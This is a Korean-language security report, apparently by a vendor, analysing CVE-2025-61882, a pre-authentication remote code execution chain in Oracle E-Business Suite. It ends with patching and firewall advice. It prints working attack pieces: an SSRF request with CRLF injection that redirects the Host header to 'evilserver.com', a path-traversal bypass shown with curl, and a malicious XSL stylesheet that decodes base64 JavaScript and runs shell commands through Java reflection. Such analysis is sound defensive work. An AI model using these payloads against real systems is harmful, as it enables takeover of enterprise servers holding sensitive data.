Search

Oracle E-Business Suite(EBS) Pre-auth Remote Code Execution CVE-2025-61882 취약점 분석

태그
PurpleHound
Oracle
Property
cve-2025-61882.png
작성날짜
2025/12/04

1. 개요

본 보고서는 Oracle E-Business Suite 소프트웨어에서 발생하는 CVE-2025-61882 원격 코드 실행(Remote Code Execution, RCE) 취약점에 대해 다룬다. Oracle E-Business Suite의 HTTP를 통한 네트워크 접근 권한을 가진 공격자는 해당 취약점을 악용해 피해 시스템에 대한 인증 프로세스나 상호작용 없이 원격으로 공격자의 명령을 실행하도록 할 수 있다. 이 취약점은 공격 복잡도가 낮아 악용 가능성이 높고, 시스템에 미칠 수 있는 영향이 중대해 CVSS 점수가 9.8로 지정되었다.
또한, 이 취약점은 최근 공격에서 처음 발견된 0-day 취약점으로 이미 공격자들이 활발하게 악용하고 있기 때문에 Oracle E-Business Suite를 사용 중인 시스템은 즉각적인 대응이 필요하다.
본 보고서는 CVE-2025-61882 취약점의 근본 원인을 심층 분석하고, 이에 대한 방어 및 완화 전략을 제시한다.

2. 취약점 근본 원인 분석

항목
내용
취약점 번호
CVE-2025-61882
취약점 이름
Oracle E-Business Suite Pre-auth Remote Code Execution
취약점 종류
Remote Code Execution
CVSS
9.8(/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2025-61882는 하나의 단일 취약점이 아닌 SSRF, CRLF Injection, Path Traversal 등이 혼합된 Full-Chain 형식의 원격 코드 실행 취약점이다.

2.1. Server Side Request Forgery (SSRF)

public void doRequest(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { // ... XMLDocument var5; if (var1.getParameter("getUiType") != null) { var10 = var1.getParameter("redirectFromJsp"); var5 = XmlUtil.parseXmlString(var1.getParameter("getUiType")); if (var10 != null && !"false".equalsIgnoreCase(var10)) { this.createNew(var5, var9, var1, var2); var33 = false; break label787; } this.redirectToCZInitialize(var1, var2, var8); var33 = false; break label788; } // ... }
Java
복사
[코드 1] UiServlet.class: doRequest() 함수 일부
[코드 1]은 웹 서버의 UiServlet 요청을 처리하는 UiServlet.class 파일을 디컴파일해 얻은 소스코드의 일부분이다. 이 파일은 /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/cz/servlet/ 에 존재한다. 이 코드를 살펴 보면 파라미터에 getUiType, redirectFromJsp가 존재할 때 createNew() 함수를 호출한다.
private void createNew(XMLDocument var1, HttpSession var2, HttpServletRequest var3, HttpServletResponse var4) throws ServletException, IOException { // .... var7.logTime("Client adapter created."); var9 = CZUiUtilities.resubXMLAndURLChars(XmlUtil.getReturnUrlParameter(var1)); var26.setReturnUrl(var9); // .... }
Java
복사
[코드 2] UiServlet.class: createNew() 함수 일부
[코드 2]의 createNew() 함수를 살펴보면 xml의 return_url을 추출한다. return_url은 클라이언트가 제어할 수 있는데, 이를 검증하는 로직이 존재하지 않아 공격자가 임의의 웹 서버 주소를 삽입할 수 있다. 최종적으로 웹 서버는 해당 URL에 HTTP 쿼리를 전송하게 되는데, 이 과정 중 URL에 대한 검증이 전혀 존재하지 않는다.
따라서, 공격자가 제어할 수 있는 return_url을 조작하면 웹 서버는 의도치 않게 임의의 서버로 HTTP 쿼리를 전송하게 되어 SSRF 취약점이 발생한다.

2.2. CRLF Injection

[그림 1] HTTP 패킷 끝에 삽입되는 CRLF (0x0D, 0x0A, 0x0D, 0x0A)
CRLF Injection은 CRLF(줄바꿈, \r\n)을 임의로 삽입할 수 있는 취약점이다. HTTP는 패킷의 끝을 표현하기 위해 [그림 1]과 같이 CRLF가 2번 삽입되어 있다. 이를 이용해 HTTP 쿼리에 CRLF를 넣어 패킷의 경계를 조정해 추가적인 HTTP 쿼리를 만들면서 임의의 헤더까지 지정할 수 있다.
POST /OA_HTML/configurator/UiServlet HTTP/1.1 Host: apps.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 524 redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?> <initialize> <param name="init_was_saved">test</param> <param name="return_url">http://apps.example.com:7201POST /Page2\r\nHost: evilserver.com\r\nConnection: keep-alive\r\n\r\nPOST /;</param> <param name="ui_def_id">0</param> <param name="config_effective_usage_id">0</param> <param name="ui_type">Applet</param> </initialize></@urlencode>
XML
복사
[코드 3] CVE-2025-61882 SSRF-CRLF Injection 취약점 페이로드 예시 (URL 인코딩 생략)
POST /Page2 HTTP 1.1 Host: evilserver.com Connection: keep-alive
XML
복사
[코드 4] CRLF Injection으로 조작된 SSRF HTTP 패킷 헤더
만약, 공격자가 2.2 문단에서 다룬 return_url에 임의로 2개의 CRLF를 삽입해 HTTP 패킷의 경계를 조작한다면 웹 서버 입장에서는 2개의 HTTP 쿼리가 존재한다 착각하게 된다. 공격자가 getUiType 필드에 return_url을 CRLF로 HTTP 패킷 경계를 조작하는 XML 문서를 URL 인코딩해 전송하면 서버는 총 2개의 SSRF 쿼리를 전송하게 된다. CRLF로 경계를 조작한 이후의 내용은 공격자가 제어할 수 있기 때문에 [코드 4]처럼 SSRF로 전송되는 HTTP 패킷의 헤더를 마음대로 설정할 수 있게 된다.

2.3. Path Traversal

원격 코드 실행을 유발하기 위해 공격자는 웹 서버가 /OA_HTML/ieshostedsurvey.jsp 파일에 SSRF로 HTTP 쿼리를 전송하도록 만들어야 한다. 하지만, 해당 파일은 TCP 7201 포트로만 접근할 수 있다. 뿐만 아니라, 해당 파일에 접근하기 위해서 인증이 필요하기 때문에, 접근 제어를 우회하는 취약점 또한 필요하다.
[root@apps oracle]# netstat -lnp | grep 7201 tcp 0 0 192.168.10.5:7201 0.0.0.0:* LISTEN 7038/java [root@apps oracle]# cat /etc/hosts 127.0.0.1 localhost.localdomain localhost ::1 localhost6.localdomain6 localhost6 192.168.10.5 apps.example.com apps
Bash
복사
[코드 5] 내부 IP가 바인딩 된 TCP:7201, /etc/hosts 파일
[코드 5]는 TCP:7201 포트가 바인딩된 IP, /etc/hosts 파일을 출력한 쉘 명령이다. hosts 파일을 살펴보면, apps.example.com이 7201 포트가 바인딩 된 내부 IP로 연결되어있다. Oracle E-Business Suite 설치 과정에서 자동으로 /etc/hosts 파일에 등록되었기 때문에 공격자는 XML 문서의 return_url에 기본 도메인인 http://apps.example.com:7201을 입력해 웹 서버가 SSRF로 접근하게 만들어 7201 포트로만 탐색할 수 있는 파일에 접근 가능해진다. 기본 도메인이 아니더라도 /OA_HTML/runforms.jsp 경로에 접근해 어떤 도메인을 사용 중인지 확인할 수 있다.
[root@apps oracle]# curl -s http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp Requested resource or page is not allowed in this site [root@apps oracle]# curl -s http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp <html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://apps.example.com:8000/OA_HTML/AppsLogin?requestUrl=&#37;2FOA_HTML&#37;2Fjtfbookmark.jsp&#37;3FjttNextPage&#37;3Dhttp&#37;253A&#37;252F&#37;252Fapps.example.com&#37;253A8000&#37;252FOA_HTML&#37;252Fhelp&#37;252F..&#37;252Fieshostedsurvey.jsp&amp;cancelUrl=http&#37;3A&#37;2F&#37;2Fapps.example.com&#37;3A8000&#37;2FOA_HTML&#37;2FAppsLogin">http://apps.example.com:8000/OA_HTML/AppsLogin?requestUrl=&#37;2FOA_HTML&#37;2Fjtfbookmark.jsp&#37;3FjttNextPage&#37;3Dhttp&#37;253A&#37;252F&#37;252Fapps.example.com&#37;253A8000&#37;252FOA_HTML&#37;252Fhelp&#37;252F..&#37;252Fieshostedsurvey.jsp&amp;cancelUrl=http&#37;3A&#37;2F&#37;2Fapps.example.com&#37;3A8000&#37;2FOA_HTML&#37;2FAppsLogin</a>.</p> </body></html>
Bash
복사
[코드 6] Path Traversal을 통한 접근 제어 우회
이 방식으로ieshotedsurvey.jsp 파일에 접근은 가능해졌지만 여전히 인증이 필요하다. 이는 간단하게 우회할 수 있는데, /OA_HTML/help는 인증이 없어도 접근할 수 있는 경로다. /OA_HTML/help/../ 와 같이 상위 디렉토리를 나타내는 .. 문자열을 삽입하는 방식으로 웹 서버의 접근 제어를 우회할 수 있다. 예를 들어 /OA_HTML/help/../ieshostedsurvey.jsp/OA_HTML/ieshostedsurvey.jsp과 똑같은 경로를 나타내지만, [코드 6]처럼 접근 제어를 우회할 수 있게 된다.

2.4. XSL Transformation / Java Reflection

<!-- $Header: ieshostedsurvey.jsp 120.0 2005/06/03 07:43:36 appldev noship $ --> <%@ include file="jtfincl.jsp" %> <%@page language="java" import="java.sql.*" %> <%@page language="java" import="oracle.xml.sql.query.*" %> <%@page language="java" import="oracle.xml.parser.v2.*" %> <%@page language="java" import="java.net.*" %> <%@page language="java" import="java.io.*" %> <% //Admin Console assumed vars String appName = "IES"; boolean stateless = true; %> <%@ include file="jtfsrnfp.jsp" %> <html> <head> <%@ include file="jtfscss.jsp" %> <title>Oralce iSurvey</title> </head> <body <%=_jtfPageContext.getHtmlBodyAttr() %> class='applicationBody'> <%@ include file="jtfdnbar.jsp" %> <% String uriloc = request.getRequestURI(); StringTokenizer st = new StringTokenizer(uriloc, "//"); int tokenCount = st.countTokens(); StringBuffer URI = new StringBuffer(); URI.append("/"); for( int i = 0; i < tokenCount-1; i++ ) { URI.append(st.nextToken()); URI.append("/"); } StringBuffer urlbuf = new StringBuffer(); urlbuf.append("http://"); urlbuf.append(request.getServerName()); urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl"; String desturl = ServletSessionManager.getURL("iessvymenubased.jsp"); StringBuffer query = new StringBuffer("select s.survey_name || '--> ' || c.SURVEY_CYCLE_NAME || '--> ' || d.Deployment_name || '--> ' ||d.SURVEY_DEPLOYMENT_ID as survey_name,"); query.append("\'").append(desturl).append("\'").append(" uri ,d.SURVEY_DEPLOYMENT_ID as deployment_id " + " from IES_SVY_SURVEYS_ALL s, " + " IES_SVY_CYCLES_ALL c, " + " IES_SVY_DEPLYMENTS_ALL d " + " where " + " s.SURVEY_ID = c.SURVEY_ID " + " and c.SURVEY_CYCLE_ID = d.SURVEY_CYCLE_ID " + " and d.DEPLOYMENT_STATUS_CODE = 'ACTIVE' " + " and d.LIST_HEADER_ID is null " + " and sysdate between d.DEPLOY_DATE and d.RESPONSE_END_DATE "); Connection conn = null; OracleXMLQuery q = null; try{ conn = TransactionScope.getConnection(); q = new OracleXMLQuery(conn,query.toString()); }catch(Exception ex){ out.println(ex.getMessage()); if(conn != null) conn.close(); } XMLDocument xmlDoc = (XMLDocument)q.getXMLDOM(); //URL stylesheetURL = new URL("http://kpandey-lap1.us.oracle.com/html/ieshostedsurvey.xsl"); URL stylesheetURL = new URL(xslURL.toString()); XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); XSLProcessor xslt = new XSLProcessor(); ByteArrayOutputStream outBytes = new ByteArrayOutputStream(); xslt.processXSL(sheet, xmlDoc, new PrintWriter(new BufferedWriter(new OutputStreamWriter(outBytes)))); String html =outBytes.toString(); out.println(html); %> </body> </html> <%@ include file="jtfernlp.jsp" %>
JavaScript
복사
[코드 7] ieshostedsurvey.jsp 전체 코드
ieshostedsurvey.jsp/OA_HTML/ieshostedsurvey.jsp XSL을 로드한다. [코드 7]은 신뢰할 수 없는 경로로부터 XSL 스타일시트를 다운로드 할 수 있는 취약점이 존재한다. request.getServerName(), request.getServerPort() 함수는 공격자가 CRLF Injection으로 제어할 수 있는 HTTP 쿼리의 헤더 Host의 영향을 받는다. 만약 공격자가 Host 헤더를 공격자의 서버로 조작한다면 시스템은 공격자의 웹 서버로부터 XSL 스타일시트를 다운로드 후 실행하게 된다.
<xsl:stylesheet version="1.0" xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>" xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>" xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>" xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>" xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>"> <xsl:template match="/"> <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/> <xsl:variable name="js" select="str:new($bs)"/> <xsl:variable name="m" select="jsm:new()"/> <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/> <xsl:variable name="code" select="eng:eval($e, $js)"/> <xsl:value-of select="$code"/> </xsl:template> </xsl:stylesheet>
XML
복사
[코드 8] Java 코드를 실행하는 공격자의 XSL 스타일시트 예시
var stringc = java.lang.Class.forName('java.lang.String'); var cmds = java.lang.reflect.Array.newInstance(stringc,3); java.lang.reflect.Array.set(cmds,0,'sh'); java.lang.reflect.Array.set(cmds,1,'-c'); java.lang.reflect.Array.set(cmds,2,'{command}'); java.lang.Runtime.getRuntime().exec(cmds);
JavaScript
복사
[코드 9] eval() 함수로 실행될 JavaScript 예시
[코드 8]의 XSL 스타일시트는 ieshostedsurvey.jsp에 의해 로드되며, 다음과 같은 순서대로 동작해 최종적으로 공격자가 원하는 쉘 명령을 실행시킬 수 있다.
1.
Base64로 JavaScript 페이로드 디코딩
2.
ScriptEngine의 eval() 함수로 [코드 9]와 같은 자바스크립트 실행
3.
Java Reflection으로 리눅스 쉘 명령 사용 가능

2.5. 취약점 전체 흐름도

[그림 2] CVE-2025-61882 요약
[그림 2]는 이 공격이 진행되는 전체 과정을 나타낸 플로우 차트다. 해당 공격에 성공할 경우, 공격자는 목표 시스템을 웹 서버가 실행되는 계정의 권한으로 제어할 수 있게 된다.

2.6. 시연 영상

[동영상 1] CVE-2025-61882 시연 영상

3. 공격 영향

본 취약점을 성공적으로 악용할 경우, 공격자는 Oracle E-Business Suite 서비스가 실행되는 권한으로 원격 코드 실행이 가능하며, 이는 다음과 같은 심각한 위협으로 이어질 수 있다.
시스템 장악: 공격자는 서버의 데이터에 접근하고 시스템 설정을 임의로 변경하는 등 제어 권한을 획득할 수 있다.
추가 악성코드 감염: 랜섬웨어를 통해 데이터를 암호화하거나, 암호화폐 채굴 악성코드를 설치하여 시스템 자원을 무단으로 사용하는 등 추가적인 악성 행위가 가능하다.
내부망 확산의 거점 활용: 공격자는 감염된 서버를 교두보로 삼아, 동일 네트워크에 연결된 다른 내부 시스템을 공격하는 수평 이동(Lateral Movement)을 시도할 수 있다.

4. 완화 및 권고사항

Product
취약점 영향 버전
Oracle E-Business Suite
12.2.3-12.2.14
1.
즉각적인 보안 업데이트 적용: 본 보고서에서 분석한 취약점에 영향 받는 Oracle E-Business Suite 버전은 위의 표에 명시된 바와 같다. 해당 버전의 Oracle E-Business Suite를 사용 중인 시스템은 즉시 Oracle의 지침에 따라 보안 패치를 적용해야 한다.
2.
네트워크 접근 제어 강화: 가능하면 Oracle E-Business Suite의 HTTP 서비스 포트는 사내 망 등 신뢰할 수 있는 내부 네트워크 대역에서만 접근 가능하도록 방화벽 등의 접근 제어 정책을 강화해 공격 표면을 감소 시키는게 좋다. Oracle E-Business Suite는 고객, 재무 회계 등을 관리하는 기업용 엔터프라이즈 솔루션으로 민감한 정보를 다룰 가능성이 높다. 따라서 EBS를 불필요하게 외부 네트워크에 개방하면 본 취약점 외에도 예측하지 못한 다른 보안 위협에 시스템이 잠재적으로 노출될 가능성이 존재한다.

5. 결론

CVE-2025-61882는 클라이언트가 제어할 수 있는 XML의 URL 필드 등의 입력 값 검증 부실, Path Traversal과 같은 위험한 문자열들에 대한 필터링이 미비해 발생했고, 이러한 여러 취약점을 체이닝해 원격 코드 실행이 가능했다.
당사의 솔루션인 PurpleHound는 실전 기반 시나리오를 재구성하여 기업이 보유한 보안 장비와 시스템이 실제 공격에 얼마나 효과적으로 대응 가능한지 검증할 수 있도록 지원한다.
본 보고서에서 분석한 취약점 뿐만 아니라 다른 유형의 취약점, 악성코드 활동, 파일 시스템 조작 등 다양한 위협 시나리오를 직접 실행해보며 보안 인프라의 실효성을 객관적으로 확인할 수 있다.

6. 참고자료